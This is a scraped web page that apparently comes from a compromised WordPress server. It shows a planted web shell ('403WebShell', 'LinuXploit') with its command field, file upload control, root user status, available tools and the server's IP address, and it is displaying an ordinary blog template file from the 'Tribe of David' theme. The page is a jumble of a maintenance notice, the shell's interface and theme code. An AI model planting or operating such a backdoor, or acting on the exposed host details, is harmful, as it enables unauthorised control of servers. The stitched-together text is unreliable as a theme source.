WordPress

Briefly unavailable for scheduled maintenance.
Check back in a some hours.
403WebShell
403Webshell
Server IP : 38.242.244.58  /  Your IP : 216.73.216.240
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux vmi1486879.contaboserver.net 5.4.0-166-generic #183-Ubuntu SMP Mon Oct 2 11:28:33 UTC 2023 x86_64
User : root ( 0)
PHP Version : 7.4.3-4ubuntu2.19
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/tribe_david/wp-content/themes/tribe-of-david/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/tribe_david/wp-content/themes/tribe-of-david/template-blog.php
<?php
/**
 *
 * Template Name: Blog
 * The main template file
 *
 * This is the most generic template file in a WordPress theme
 * and one of the two required files for a theme (the other being style.css).
 * It is used to display a page when nothing more specific matches a query.
 * E.g., it puts together the home page when no home.php file exists.
 *
 * @link https://developer.wordpress.org/themes/basics/template-hierarchy/
 *
 * @package Tribe_of_David
 */

get_header();
$blog_args = array( 'post_type' => 'post', 'posts_per_page' => 3,'order'   => 'ASC'  );
$blog_loop = new WP_Query( $blog_args );

?>
    <div class="main_page_content">
    <div class="section blog_section" id="blog">
        <div class="wrap">
            <h2 class="section_title">BLOG</h2>
            <ul class="blog_items">
                <?php while ( $blog_loop->have_posts() ) : $blog_loop->the_post(); ?>
                    <li>
                        <div class="blog_thumbnail"><img src="<?php the_post_thumbnail_url(); ?>" alt=""></div>
                        <div class="blog_excerpt_grid">
                            <div class="blog_excerpt_col blog_date">
                                <div class="date_box"><?php the_time('j') ?></div>
                                <div class="date_box"><?php the_time('F') ?> <br> <?php the_time('Y') ?></div>
                            </div>
                            <div class="blog_excerpt_col blog_excerpt_text">
                                <h4><?php the_title() ?></h4>
                                <p>
                                    <?php the_excerpt(); ?>
                                </p>
                                <a href="<?php the_permalink(); ?>" class="read_on">
                                    Read more
                                    <svg height="11px" version="1.1" viewBox="0 0 6 11" width="6px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><g fill="none" fill-rule="evenodd" id="Desktop-(AFR)" stroke="none" stroke-width="1"><g id="Company" stroke="currentColor" stroke-width="1.5" transform="translate(-1311.000000, -42.000000)"><polyline id="Path-2-Copy" points="1312 43 1316 47.5 1312 52"></polyline></g></g></svg>
                                </a>
                            </div>
                        </div>
                    </li>
                <?php endwhile; ?>

            </ul>
        </div>
    </div>
    </div>

<?php
get_footer();

Youez - 2016 - github.com/yon3zu
LinuXploit